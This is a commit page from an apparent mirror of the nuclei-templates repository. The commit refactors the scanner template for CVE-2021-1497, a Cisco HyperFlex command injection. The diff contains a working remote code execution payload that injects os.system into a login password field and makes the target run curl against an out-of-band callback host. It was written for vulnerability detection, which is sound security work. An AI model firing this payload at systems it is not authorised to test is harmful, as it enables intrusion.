daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #7450 from projectdiscovery/princechaddha-patch-6 

Fixed CVE-2021-1497
patch-1
Dhiyaneshwaran 2023-06-15 14:24:20 +05:30 committed by GitHub
parent 6174dc3590 294530f303
commit 35a4dcd981
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
http/cves/2021/CVE-2021-1497.yaml
View File

@ -19,12 +19,14 @@ info:
cve-id: CVE-2021-1497 cve-id: CVE-2021-1497
cwe-id: CWE-78 cwe-id: CWE-78
epss-score: 0.9751 epss-score: 0.9751
tags: cisco,rce,oast,kev,packetstorm,cve,cve2021 tags: cve,cve2021,cisco,rce,oast,kev,packetstorm,
metadata: metadata:
max-request: 2 max-request: 2
variables: variables:
useragent: '{{rand_base(6)}}' useragent: '{{rand_base(6)}}'
cmd: 'curl http://{{interactsh-url}} -H \"User-Agent: {{useragent}}\"'
payload: '123",""$6$$)); import os;os.system("{{cmd}}");print(crypt.crypt("'
http: http:
- raw: - raw:
@ -34,7 +36,7 @@ http:
Accept: */* Accept: */*
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
username=root&password={{url_encode('123\",\"$6$$\"));import os;os.system(\"curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'\");print(crypt.crypt(\"')}} username=root&password={{url_encode(payload)}}
- | - |
POST /auth HTTP/1.1 POST /auth HTTP/1.1
@ -42,7 +44,7 @@ http:
Accept: */* Accept: */*
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
username=root&password={{url_encode('123\",\"$6$$\"));import os;os.system(\"curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'\");print(crypt.crypt(\"')}} username=root&password={{url_encode(payload)}}
matchers-condition: and matchers-condition: and
matchers: matchers: